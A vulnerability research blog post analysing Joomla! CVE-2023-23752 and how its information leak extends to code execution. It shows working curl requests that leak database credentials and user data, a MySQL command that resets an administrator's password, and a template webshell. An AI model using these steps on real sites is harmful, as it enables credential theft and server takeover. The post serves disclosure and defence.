Go back

Joomla! CVE-2023-23752 to Code Execution

avatar
Jacob Baines@Junior_Baines

On February 16, 2023, Joomla! published a security advisory for CVE-2023-23752. The advisory describes an “improper access check” affecting Joomla! 4.0.0 through 4.2.7. The following day, a chinese-language blog shared the technical details of the vulnerability. The blog describes an authentication bypass that allows an attacker to leak privileged information.

The blog’s disclosure was followed by a stream of exploits hitting GitHub, and multiple indicators of exploitation in the wild. The public exploits focus on leaking the victim’s MySQL database credentials – an unexciting prospect (we thought), because exposing the database to the internet is a dangerous misconfiguration. Nonetheless, attackers seemed interested in the vulnerability, so we sought to find out why.

Joomla! Versions in the Wild

The importance of a vulnerability is often linked to the number of affected internet-facing systems. A couple Shodan queries find approximately 50,000 internet-facing Joomla! Instances. Censys, with virtual hosts included, puts that number closer to 1.3 million installations. We only have access to the Shodan data though, so we continue with that for the remainder of this writeup.

A Joomla! installation’s version can be remotely extracted without authentication by querying one of a few different endpoints. Joomla! version 4 exposes version information in the /language/en-GB/langmetadata.xml endpoint. Additionally, most, if not all, Joomla! Instances expose their version in the /administrator/manifests/files/joomla.xml endpoint (retrievable without authentication, despite the pathname). We scanned the IP addresses indexed by Shodan and found that Joomla! 4 is not very popular. Only about 14% of responding Joomla! instances used version 4, the only version affected by CVE-2023-23752.

Joomla! Major Versions in the Wild

Fewer than 5000 internet-facing installations is hard to get excited about. But what’s even worse for attackers, is that only ~1500 (or 4% of the responding Joomla! servers) remain vulnerable to the attack.

Joomla! Version 4 Versions in the Wild

Which means, despite continued interest from attackers, this vulnerability has almost run its course just a month after disclosure.

Based on the versions of the internet-facing Joomla!, we believe this vulnerability, while dangerous, was never a huge issue (nothing approaching Drupelgaddon at least). So what about this vulnerability has attackers so excited that they are still landing new exploits on GitHub?

CVE-2023-23752 to Code Execution #1

As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:

curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
*   Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}

In the proof of concept above, the server responds with the credentials root:labpass1, which are the credentials for our test Joomla! MySQL account. But it’s important to know that our test MySQL server was bound to 127.0.0.1, so the remote attacker can’t access the server, making the credentials mostly useless. Binding MySQL to the localhost should be the most common configuration, which severely limits this credential leak.

However, it appears there are a good number of internet-facing Joomla! installations that use a MySQL server that isn’t bound to 127.0.0.1. Censys shows thousands of Joomla! Servers colocated with an exposed MySQL server.

Censys query with both MySQL and Joomla

An attacker with credentials to the MySQL server won’t automatically be able to execute arbitrary code. Old MySQL attack techniques that manipulate local files should be unusable on any modern and/or decently configured server. But access to the MySQL server should still provide a path to code execution.

Access to the database allows the attacker to change the Joomla! Super User’s password. Joomla! even documents how this can be done using only database access. The following demonstrates the password change to “secret” using the MySQL client.

mysql> use joomla_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla_db           |
+-------------------------------+
| xj3n0_action_log_config       |
| xj3n0_action_logs     
 truncatedmysql> select * from xj3n0_users;
+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| id  | name | username     | email                 | password                                                  | block | sendEmail | registerDate      | lastvisitDate     | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| 552 | jake | albinolobster | albinolobster@vulncheck.com | $2y$10$GL9tEHKez5Wa6sr2CjXXmetAr6cOOo7DpE9j1KaeJCIy1UwnaYUVO |     0 |         1 | 2023-03-17 15:07:45 | 2023-03-17 16:41:04 | 0       |       | NULL          |       0 |     |   |           0 |             |
+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
1 row in set (0.00 sec)

mysql> Update xj3n0_users SET password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" WHERE id=552;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql>

The attacker can then log into the Joomla! administrative web interface. As the Super User, the attacker has two easy paths to execute arbitrary code.

  1. Modify a template to include malicious PHP. The image below demonstrates the addition of a tiny webshell to index.php. This will allow the attacker to execute arbitrary code as the www-data user by sending requests to the instance’s landing page (e.g. curl -k http://10.9.49.205/?cmd=whoami)

Joomla! Webshell in Template Editor

  1. Install a malicious plugin such as Joomla-webshell-plugin.

Both are viable options. Both are achievable because the MySQL credential leak allows the attacker to take over a Super User account. That isn’t the only way though. CVE-2023-23752 provides a second method for chasing after a Super User account.

CVE-2023-23752 to Code Execution #2

Instead of leaking the MySQL credentials, the attacker can leak the Joomla! user database using CVE-2023-23752:

curl -v http://10.9.49.205/api/index.php/v1/users?public=true
*   Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 16:11:38 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 16:11:38 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 418
< Content-Type: application/vnd.api+json; charset=utf-8
<
* Connection #0 to host 10.9.49.205 left intact
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/users?public=true"},"data":[{"type":"users","id":"552","attributes":{"id":552,"name":"jake","username":"albinolobster","email":"albinolobster@vulncheck.com","block":0,"sendEmail":1,"registerDate":"2023-03-17 15:07:45","lastvisitDate":"2023-03-20 15:35:58","lastResetTime":null,"resetCount":0,"group_count":1,"group_names":"Super Users"}}],"meta":{"total-pages":1}

The database output contains usernames, emails, and assigned group (e.g. Super Users). This should be enough for credential stuffing or brute forcing to achieve Super User access. Some bad administrators might even reuse the MySQL password for the Super User account. Either way, this additional leak has the added benefit of not relying on MySQL being reachable. Once Super User access is achieved, the attacker can follow the previously discussed paths to code execution.

Conclusion

CVE-2023-23752 is an authentication bypass resulting in an information leak on Joomla! Servers. Although rated as a CVSSv3 5.3 (Medium severity) by NVD, this vulnerability could allow an attacker to achieve code execution under the right circumstances. That likely justifies the interest attackers have shown in this vulnerability.

The total number of vulnerable servers was never high and patching has occurred at a good rate. However, anyone using Joomla! Version 4 should probably consider rotating all passwords. Additionally, examining template files for webshells and auditing all installed plugins would be beneficial.